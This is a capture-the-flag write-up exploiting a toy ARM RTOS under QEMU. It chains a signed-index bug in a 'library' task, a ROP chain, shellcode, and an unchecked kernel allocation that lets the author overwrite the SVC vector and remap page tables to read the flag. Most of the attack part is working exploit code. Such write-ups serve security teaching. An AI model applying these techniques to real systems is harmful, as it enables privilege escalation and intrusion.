# The challenge
For this challenge we receive a boot.bin image and a run.sh that runs it using qemu as follows:
```sh#!/bin/sh
appline=$(head -c 1000 /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)"BkP{This is the flag.}"qemu-system-arm -M versatilepb -cpu cortex-a15 -m 128M -nographic -kernel boot.bin -monitor /dev/null -append "$appline" 2>/dev/null```
We are also told that we must read the flag from address 0x40000000. Based on this I assumed we need to at least run code inside the qemu, and perhaps within kernel mode in order to read the flag.
If we run the qemu image we get the following shell:
```shsfx@ubuntu:/mnt/hgfs/bkpctf/distrib$ ./run.sh[0] BkP RTOS version 1.0[user@main]$Available Programs:	run	- Run scheduled programs	schedule	- Switch to scheduling mode	clear	- Clear schedule	exec	- Switch to direct execution mode	help	- This help screen	calc	- Simple calculator	trader	- Trading platform	library	- Manage your library	echo	- Echo test	exit	- Restart[user@main]$```
So it seems we are dealing with an RTOS that has a few possible tasks to run. The first thing I did was playing around in the shell, run a few of the programs, etc.
Next I went onto IDA, and loaded it at address 0x0 as an ARM Little Endian blob. After a bit I found out using gdb that the base address should be 0x10000, so I relocated it there.
# User-space tasks
So looking through the disassembly I identified the functions of the main shell by cross-referencing some of the strings. The main function after renaming and adding a few comments looks like this:
```Cvoid __noreturn task_shell(){  int sz; // r0@1  int v1; // r3@1  int v2; // r3@1  int v3; // r1@1  int v4; // r2@1  int v5; // r3@1  int v6; // r0@2  int v7; // r3@2  int v8; // r2@2  void *v9; // r3@2  int v10; // r3@2  int v11; // r3@2  int v12; // r1@2  int v13; // r2@2  int v14; // r3@2  int v15; // r1@6  int v16; // r2@6  int v17; // r3@6  int v18; // r1@12  int v19; // r2@12  int v20; // r3@12  int v21; // r3@20  int v22; // [sp+0h] [bp-88h]@2
  sz = strlen((int)"[user@main]$ ");  syscall(1, (int)"[user@main]$ ", sz, v1);  syscall(1, (int)"\n", 1, v2);                 // 1 == sys_write  printmenu();  syscall(6, v3, v4, v5);  while ( 1 )  {    memset((int)&v22, 0, 0x80u);    v6 = strlen((int)"[user@main]$ ");    syscall(1, (int)"[user@main]$ ", v6, v7);    do_read(&v22, 128, v8, v9);                 // sys_read    syscall(1, (int)&v22, 128, v10);    syscall(1, (int)"\n", 1, v11);    if ( !strcmp(&v22, "exit") )    {      syscall(99, v12, v13, v14);    }    else if ( !strcmp(&v22, "help") )    {      printmenu();    }    else if ( !strcmp(&v22, "clear") )    {      syscall(6, v15, v16, v17);                // 6 == sys_clear ?    }    else if ( !strcmp(&v22, "schedule") )    {      kernel_alloc[0] = 1;      printf("- schedule mode -\n");    }    else if ( !strcmp(&v22, "exec") )    {      kernel_alloc[0] = 0;      printf("- exec mode -\n");    }    else if ( !strcmp(&v22, "run") )    {      syscall(5, v18, v19, v20);                // sys_run    }    else if ( !strcmp(&v22, "calc") )    {      syscall(3, (int)do_calc, 0x1804C, 0);     // 3 == launch task    }    else if ( !strcmp(&v22, "trader") )    {      syscall(3, (int)do_trader, 0x1487C, (int)&dword_41B38);    }    else if ( !strcmp(&v22, "library") )    {      syscall(3, (int)do_library, 0x101BC, (int)dword_55AE8);    }    else if ( !strcmp(&v22, "echo") )    {      syscall(3, (int)do_echo, 0xF04C, 0);    }    else    {      syscall(1, (int)"bkpsh: command not found!\n", 26, v21);    }  }}```Note that some part is missing due to Hex-Rays optimizing code out because I mapped everything as ROM (and thus it assumes it's read-only). I was too lazy to fix it, but it is always good to keep in mind that Hex-Rays does use the segment attributes to decide upon optimizations and the like.
Anyway, back to the challenge. After identifying a few syscalls and other functions in the main task, I turned to the library task.
It turns out this task add/list/edit/delete books. This sounds like the classic heap exploitation challenge.
Looking into the different functions, I identified the following issue in the page edit functionality:
```Cpage *__fastcall lib_edit_page(page *result){  item *v1; // r4@1  int pagenum; // r0@2  int *v3; // r4@3  page *page; // r6@3  unsigned int v5; // r4@4  _BYTE *v6; // r4@8  int v7; // r0@8  int v8; // [sp+0h] [bp-410h]@2
  v1 = (item *)result;  if ( result )  {    puts((int)"Page #: ");    read_0(&v8, 128);    pagenum = parse_num((int)&v8;;    if ( v1->numpages < pagenum )               // signed compare!    {      result = (page *)printf_0("Page doesn't exist\n");    }    else    {      v3 = &v1->title + pagenum;      page = (page *)v3[2];      if ( page )      {        puts((int)"font: ");        read_0(page->font, 48);        puts((int)"content: ");        read_0(&v8, 1024);        v5 = strlen_0((int)&v8;;        if ( v5 <= strlen_0(page->content) )        {          v6 = (_BYTE *)page->content;          v7 = strlen_0(page->content);          result = (page *)read_0(v6, v7 - 1);        }        else        {          free(page->content);          result = (page *)strdup_((int)&v8;;          page->content = (int)result;        }      }      else      {        result = read_page();        v3[2] = (int)result;      }    }  }  return result;}```
As you can see, a signed compare is used to determine if the page exists. This allows us to select a page BEFORE the actual book.
The page structure looks as follows:```Cstruct page {  char *content;  char font[48];};```
So if we can provide an index to points to data we control, we'll have an arbitrary page pointer. In turn, the following code allows us to corrupt memory:
```C        puts((int)"font: ");        read_0(page->font, 48);        puts((int)"content: ");        read_0(&v8, 1024);        v5 = strlen_0((int)&v8;;        if ( v5 <= strlen_0(page->content) )        {          v6 = (_BYTE *)page->content;          v7 = strlen_0(page->content);          result = (page *)read_0(v6, v7 - 1);        }
```
As long as the string we provide is shorter than the string at the pointer we control. 
I initially went for corrupting the library itself, and ended up with a pretty complicated way of overwriting code using a chain of fake structures. 
While writing this, I've simplified the approach to simply write once by creating a fake page. This is the relevant python code:
```python
menu()x.sendline("library")
# Setup a fake page pointer within the title of our first book# write_target points to a function epilogue.
list_help = 0x44009ccread_shift_sp = 0x440064c
write_target = read_shift_spprint "[*] Write target: ", hex(write_target)
fake_page_ptr = 0x06400818 + 12title = "AAAABBBB" + p32(fake_page_ptr) + p32(write_target)assert len(title) < 128add(title.ljust(128,"X"), [])
font, content = "AAAA", "BBBB"
pause()'''This changes the function epilogue from:
ROM:00056AB8 84 D0 8D E2                 ADD             SP, SP, #0x84 ; Rd = Op1 + Op2ROM:00056ABC 30 80 BD E8                 LDMFD           SP!, {R4,R5,PC} ; Load Block from Memory
to:
   0x440064c:   andeq   r0, r0, r0   0x4400650:   ldmfd   sp!, {pc}
This way we get a nice buffer overflow :)'''
edit_page(1, -292, (font, content), "\x00"*4)```
So after running this, the read function will not restore the stack frame and directly pop PC from our buffer.
Next is to create a ROP chain to load arbitrary shellcode. This is what I used:
```sc_size = 0x400ropchain = [    0x440f2a8 , # : pop {r0,  lr} ; bx lr    0,          # this is to force r3 = 0 below, but also sys_read!    0x440e7d0,  # pop {r1, r2, lr} ; mul r3, r2, r0 ; sub r1, r1, r3 ; bx lr    list_help,      sc_size,      # read 0x400 bytes. Arbitrary number    0x440000c, # svc #0 ; pop {r4, r5, r6, r7, r8, sb, sl, fp, ip, pc}    0x41414141,  # r4    0x41414141,  # r5    0x41414141,  # r6    0x41414141,  # r7    0x41414141,  # r8    0x41414141,  # sb    0x41414141,  # sl    0x41414141,  # fp    0x41414141,  # ip    list_help,  # pc = return into list_help]
payload = "".join([p32(i) for i in ropchain])assert len(ropchain) < 128
x.sendline(payload)
sc = open("sc.bin", "rb").read()x.send(sc.ljust(sc_size, "\x00"))```
As you can see, I decided to overwrite the list_help function with my shellcode and jump to it.
At this point, we have full arbitrary code execution in userspace, so it's time to look at the kernel itself.
# Kernel space bug
I did spend quite some time analyzing all system calls in the kernel, which is not too many:
* read     : Simply read from UART/stdin* write    : Write to UART/stdout* random   : Generate a random number* exec     : execute a task* schedule : schedule a task (add it to a list of tasks)* run      : run all scheduled tasks* clear    : clear scheduled task list* exit     : exit task, i.e. run next scheduled task or go back to main shell.
During reversing, I also saw that the MMU was being initialized by setting TTBR0:
```Cvoid __fastcall setup_mmu(int a1, int a2, int a3, int a4){  __mcr(15, 0, 0x2A00000u, 2, 0, 0);  setup_pagetables((int *)0x2A00000);  __mcr(15, 0, 1u, 3, 0, 0);  __mcr(15, 0, __mrc(15, 0, 1, 0, 0) | 1, 1, 0, 0);}```
So instead of analyzing the routine to setup page tables I simply dumped them from memory using gdb and parsed them using a script (see mmu.py). Note I stopped after the last configured entry:
```VA 0x00000000 -->  NO_PXN  SECT  PA 0x00000000 RW_PL1 VA 0x00100000 -->  FAULTVA 0x00200000 -->  FAULTVA 0x00300000 -->  FAULTVA 0x00400000 -->  FAULTVA 0x00500000 -->  FAULTVA 0x00600000 -->  FAULTVA 0x00700000 -->  FAULTVA 0x00800000 -->  FAULTVA 0x00900000 -->  FAULTVA 0x00a00000 -->  PXN SECT  PA 0x00a00000 RW_PL1  XNVA 0x00b00000 -->  PXN SECT  PA 0x00b00000 RW_PL1  XNVA 0x00c00000 -->  PXN SECT  PA 0x00c00000 RW_PL1  XNVA 0x00d00000 -->  PXN SECT  PA 0x00d00000 RW_PL1  XNVA 0x00e00000 -->  PXN SECT  PA 0x00e00000 RW_PL1  XNVA 0x00f00000 -->  PXN SECT  PA 0x00f00000 RW_PL1  XNVA 0x01000000 -->  PXN SECT  PA 0x01000000 RW_PL1  XNVA 0x01100000 -->  PXN SECT  PA 0x01100000 RW_PL1  XNVA 0x01200000 -->  PXN SECT  PA 0x01200000 RW_PL1  XNVA 0x01300000 -->  PXN SECT  PA 0x01300000 RW_PL1  XNVA 0x01400000 -->  PXN SECT  PA 0x01400000 RW_PL1  XNVA 0x01500000 -->  PXN SECT  PA 0x01500000 RW_PL1  XNVA 0x01600000 -->  PXN SECT  PA 0x01600000 RW_PL1  XNVA 0x01700000 -->  PXN SECT  PA 0x01700000 RW_PL1  XNVA 0x01800000 -->  PXN SECT  PA 0x01800000 RW_PL1  XNVA 0x01900000 -->  PXN SECT  PA 0x01900000 RW_PL1  XNVA 0x01a00000 -->  PXN SECT  PA 0x01a00000 RW_PL1  XNVA 0x01b00000 -->  PXN SECT  PA 0x01b00000 RW_PL1  XNVA 0x01c00000 -->  PXN SECT  PA 0x01c00000 RW_PL1  XNVA 0x01d00000 -->  PXN SECT  PA 0x01d00000 RW_PL1  XNVA 0x01e00000 -->  PXN SECT  PA 0x01e00000 RW_PL1  XNVA 0x01f00000 -->  PXN SECT  PA 0x01f00000 RW_PL1  XNVA 0x02000000 -->  PXN SECT  PA 0x02000000 RW_PL1  XNVA 0x02100000 -->  PXN SECT  PA 0x02100000 RW_PL1  XNVA 0x02200000 -->  PXN SECT  PA 0x02200000 RW_PL1  XNVA 0x02300000 -->  PXN SECT  PA 0x02300000 RW_PL1  XNVA 0x02400000 -->  PXN SECT  PA 0x02400000 RW_PL1  XNVA 0x02500000 -->  PXN SECT  PA 0x02500000 RW_PL1  XNVA 0x02600000 -->  PXN SECT  PA 0x02600000 RW_PL1  XNVA 0x02700000 -->  PXN SECT  PA 0x02700000 RW_PL1  XNVA 0x02800000 -->  FAULTVA 0x02900000 -->  FAULTVA 0x02a00000 -->  PXN SECT  PA 0x02a00000 RW_PL1  XNVA 0x02b00000 -->  PXN SECT  PA 0x02b00000 RW_PL1  XNVA 0x02c00000 -->  NO_PXN  SECT  PA 0x02c00000 RW_PL1 RO_PL0 VA 0x02d00000 -->  NO_PXN  SECT  PA 0x02d00000 RW_PL1 RO_PL0 VA 0x02e00000 -->  FAULTVA 0x02f00000 -->  FAULTVA 0x03000000 -->  PXN SECT  PA 0x03000000 RW_PL1  XNVA 0x03100000 -->  PXN SECT  PA 0x03100000 RW_PL1  XNVA 0x03200000 -->  PXN SECT  PA 0x03200000 RW_PL1  XNVA 0x03300000 -->  PXN SECT  PA 0x03300000 RW_PL1  XNVA 0x03400000 -->  PXN SECT  PA 0x03400000 RW_PL1  XNVA 0x03500000 -->  PXN SECT  PA 0x03500000 RW_PL1  XNVA 0x03600000 -->  PXN SECT  PA 0x03600000 RW_PL1  XNVA 0x03700000 -->  PXN SECT  PA 0x03700000 RW_PL1  XNVA 0x03800000 -->  PXN SECT  PA 0x03800000 RW_PL1  XNVA 0x03900000 -->  PXN SECT  PA 0x03900000 RW_PL1  XNVA 0x03a00000 -->  PXN SECT  PA 0x03a00000 RW_PL1  XNVA 0x03b00000 -->  PXN SECT  PA 0x03b00000 RW_PL1  XNVA 0x03c00000 -->  PXN SECT  PA 0x03c00000 RW_PL1  XNVA 0x03d00000 -->  PXN SECT  PA 0x03d00000 RW_PL1  XNVA 0x03e00000 -->  PXN SECT  PA 0x03e00000 RW_PL1  XNVA 0x03f00000 -->  PXN SECT  PA 0x03f00000 RW_PL1  XNVA 0x04000000 -->  PXN SECT  PA 0x04100000 RW_PL1  XNVA 0x04100000 -->  PXN SECT  PA 0x04100000 RW_PL1  XNVA 0x04200000 -->  PXN SECT  PA 0x04200000 RW_PL1  XNVA 0x04300000 -->  PXN SECT  PA 0x04300000 RW_PL1  XNVA 0x04400000 -->  PXN SECT  PA 0x04400000 RW VA 0x04500000 -->  PXN SECT  PA 0x04500000 RW VA 0x04600000 -->  PXN SECT  PA 0x04600000 RW VA 0x04700000 -->  PXN SECT  PA 0x04700000 RW VA 0x04800000 -->  PXN SECT  PA 0x04800000 RW VA 0x04900000 -->  PXN SECT  PA 0x04900000 RW VA 0x04a00000 -->  PXN SECT  PA 0x04a00000 RW VA 0x04b00000 -->  PXN SECT  PA 0x04b00000 RW VA 0x04c00000 -->  PXN SECT  PA 0x04c00000 RW VA 0x04d00000 -->  PXN SECT  PA 0x04d00000 RW VA 0x04e00000 -->  PXN SECT  PA 0x04e00000 RW VA 0x04f00000 -->  PXN SECT  PA 0x04f00000 RW VA 0x05000000 -->  PXN SECT  PA 0x05000000 RW VA 0x05100000 -->  PXN SECT  PA 0x05100000 RW VA 0x05200000 -->  PXN SECT  PA 0x05200000 RW VA 0x05300000 -->  PXN SECT  PA 0x05300000 RW VA 0x05400000 -->  PXN SECT  PA 0x05400000 RW VA 0x05500000 -->  PXN SECT  PA 0x05500000 RW VA 0x05600000 -->  PXN SECT  PA 0x05600000 RW VA 0x05700000 -->  PXN SECT  PA 0x05700000 RW VA 0x05800000 -->  PXN SECT  PA 0x05800000 RW VA 0x05900000 -->  PXN SECT  PA 0x05900000 RW VA 0x05a00000 -->  PXN SECT  PA 0x05a00000 RW VA 0x05b00000 -->  PXN SECT  PA 0x05b00000 RW VA 0x05c00000 -->  PXN SECT  PA 0x05c00000 RW VA 0x05d00000 -->  PXN SECT  PA 0x05d00000 RW VA 0x05e00000 -->  PXN SECT  PA 0x05e00000 RW VA 0x05f00000 -->  PXN SECT  PA 0x05f00000 RW VA 0x06000000 -->  PXN SECT  PA 0x06000000 RW VA 0x06100000 -->  PXN SECT  PA 0x06100000 RW VA 0x06200000 -->  PXN SECT  PA 0x06200000 RW VA 0x06300000 -->  PXN SECT  PA 0x06300000 RW VA 0x06400000 -->  PXN SECT  PA 0x06400000 RW  XNVA 0x06500000 -->  PXN SECT  PA 0x06500000 RW  XNVA 0x06600000 -->  PXN SECT  PA 0x06600000 RW  XNVA 0x06700000 -->  PXN SECT  PA 0x06700000 RW  XNVA 0x06800000 -->  PXN SECT  PA 0x06800000 RW  XNVA 0x06900000 -->  PXN SECT  PA 0x06900000 RW  XNVA 0x06a00000 -->  PXN SECT  PA 0x06a00000 RW  XNVA 0x06b00000 -->  PXN SECT  PA 0x06b00000 RW  XNVA 0x06c00000 -->  PXN SECT  PA 0x06c00000 RW VA 0x06d00000 -->  PXN SECT  PA 0x06d00000 RW VA 0x06e00000 -->  PXN SECT  PA 0x06e00000 RW VA 0x06f00000 -->  PXN SECT  PA 0x06f00000 RW VA 0x07000000 -->  PXN SECT  PA 0x07000000 RW VA 0x07100000 -->  PXN SECT  PA 0x07100000 RW VA 0x07200000 -->  PXN SECT  PA 0x07200000 RW VA 0x07300000 -->  PXN SECT  PA 0x07300000 RW VA 0x07400000 -->  PXN SECT  PA 0x07400000 RW VA 0x07500000 -->  PXN SECT  PA 0x07500000 RW VA 0x07600000 -->  PXN SECT  PA 0x07600000 RW VA 0x07700000 -->  PXN SECT  PA 0x07700000 RW VA 0x07800000 -->  PXN SECT  PA 0x07800000 RW  XNVA 0x07900000 -->  PXN SECT  PA 0x07900000 RW  XNVA 0x07a00000 -->  PXN SECT  PA 0x07a00000 RW  XNVA 0x07b00000 -->  PXN SECT  PA 0x07b00000 RW  XNVA 0x07c00000 -->  PXN SECT  PA 0x07c00000 RW  XNVA 0x07d00000 -->  PXN SECT  PA 0x07d00000 RW  XNVA 0x07e00000 -->  PXN SECT  PA 0x07e00000 RW  XNVA 0x07f00000 -->  PXN SECT  PA 0x07f00000 RW  XNVA 0x08000000 -->  FAULT```
There are a few interesting things here:
* Kernel code is mapped as RWX.* PXN seems to be used for userland processes.* Between 0x02c00000 and 0x02e00000 there are 2MB of kernel data that are mapped RO for userspace.* The remainder of userland memory is located between 0x04400000 and 0x08000000, as we already found out during the analysis of the userland task.* The flag page does not seem to  be mapped in, so we'll have to do that ourselves.
As for the vulnerability, after not seeing it for a while I finally realized that the schedule syscall was not properly checking the result of kmalloc:
```Csigned int __fastcall sys_schedule(int task_name, unsigned int src, unsigned int size){  signed int ret; // r3@2  task_desc *task; // [sp+10h] [bp-14h]@18  list_desc *task_list_desc; // [sp+18h] [bp-Ch]@18  int kbuf1; // [sp+1Ch] [bp-8h]@16
  if ( !validate(task_name) )                   // check ptr 1, allows equality with upper range!    return -1;  if ( !validate(src) )                         // check ptr 2    return -1;  if ( !validate(src + size) )                  // validate end ptr2    return -1;  if ( src + size < src || src + size < size )  // verify overflows    return -1;  if ( size > 0x80000 )    return -1;  if ( (unsigned int)strlen_1(task_name) > 31 )    return -1;  if ( task_exists((char *)task_name) )    return -1;  kbuf1 = kernel_malloc(size);  if ( !kbuf1 )    return -1;  memcpy(kbuf1, src, size);  task = (task_desc *)kernel_malloc(0x28u);     // Unverified!!  task->buffer = kbuf1;  task->size = size;  strcpy((unsigned int)task->name, task_name);  task_list_desc = make_list_desc((int)task);  if ( task_list_desc )  {    if ( task_list )    {      list_add_head(task_list_desc, task_list);    }    else    {      task_list = task_list_desc;      list_add_head(task_list, 0);      task_scheduled = 1;    }    ret = 0;  }  else  {    kfree(kbuf1);    kfree((int)task);    ret = -1;  }  return ret;}```
So if we can cause memory exhaustion, we will be able to write to NULL. In particular, the task name will be written to 0x8, which conveniently contains the SVC reset vector.
This is thus the plan of attack:
1. Almost exhaust all memory by using adding tasks to the schedule list. Note that we need a different task name each time, so I'm just calling the random() system call and using that as task name.2. Add a final task for which the first kmalloc() will succeed, and the second one will fail. This task name will be written on top of the SVC handler.3. Trigger an svc to execute our newly introduced code.
## Step 1: exhausting memory
For exhausting memory, I wrote a simple loop with a task of the maximum allowed size:
```asm.text.globl startstart:
        ldr r9, =#59
        sub sp, sp, #0x400        mov r11, sp
loop:
        bl rand        str r0, [sp]        eor r0, r0        str r0, [sp, #4]
        mov r1, sp        ldr r2, =#0x04400000        ldr r3, =#0x7f000        bl sched
        cmp r0, #0x0        moveq r3, #79        movne r3, #78
        str r3, [sp]        mov r3, #0x0A        str r3, [sp, #0x01]
        mov r1, sp        mov r2, #0x2        bl write
        sub r9, r9, #0x1        cmp r9, #0        bne loop lastone:        bl rand        str r0, [sp]        eor r0, r0        str r0, [sp, #4]
        mov r1, sp        ldr r2, =#0x04400000        ldr r3, =#0x6dfe0        bl sched```
At each step of the loop we are actually writing O (for OK) or N (for  Not OK) depending on the syscall result. I used this initially to determine how many iterations of the loop I needed.
After this, I decided to read in the task name from the exploit and trigger the final schedule call:
```asmdone:        @ Signal Done to get our new instructions                 mov r3, #68        str r3, [sp]        mov r3, #0x0A        str r3, [sp, #0x01]        mov r1, sp        mov r2, #0x2        bl write
        @ Read instructions to put at 0x8        mov r1, sp        mov r2, #0x10        bl read
        mov r1, sp        ldr r2, =#0x04400000        ldr r3, =#0x4bb00        bl sched```
After this point, our rewritten SVC handler would be ready to execute. I decided to replace it by the following code:
```asmstr	r7, [r8, #4]ldr	pc, [pc, #20]	; 0x28```
This effectively gives us an arbitrary write using r7 and r8, and then calls the original syscall handler. I used this to change an L1 page table descriptor to be able to read the flag, and then dump it using the write syscall:
```asm        @Invalid syscall should result in a write to memory        ldr r7, =#0x04000c03        ldr r8, =#0x2a00140        sub r8, r8, #0x4         ldr r1, =#0x05000000        mov r2, #0x20        bl write
end:        bl rand        b end```
We then assemble the shellcode and extract the binary:
```arm-none-eabi-as ./boot_sc.s && arm-none-eabi-objcopy -O binary a.out sc.bin```
The following few lines were added to the python exploit to send the shellcode and later the kernel payload:
```python
sc = open("sc.bin", "rb").read()x.send(sc.ljust(sc_size, "\x00"))
print "[*] Waiting for Done flag"x.recvuntil("D\n")
print "[*] Sending kernel mode payload"
'''This is the following code:
str r7, [r8, 4]ldr pc, [pc, 20] 
to replace the syscall reset vector.
This way we get an arbitrary write for each syscall we make'''sc = "047088e514f09fe5".decode("hex")x.send(sc.ljust(16, "\x00"))
print "[*] Go check!"
x.interactive()```
# Show time
Finally, running this on the CTF server we got the following output:
```bkpctf python bare.py[+] Opening connection to 54.214.122.246 on port 8888: Done[*] Write target: 0x440064c[*] Paused (press any to continue)[*] Waiting for Done flag[*] Sending kernel mode payload[*] Go check![*] Switching to interactive modeBkP{I saw ARM on your resume...}[*] Got EOF while reading in interactive$```
And this concludes this very nice multi-stage exploiting challenge :)
If you are curoius and want to try it out locally, just get the files from the challenge folder and run the server with socat as follows:
```socat TCP-LISTEN:8888,reuseaddr,fork EXEC:"./run.sh"```
Replace the IP address in the python file and run it.
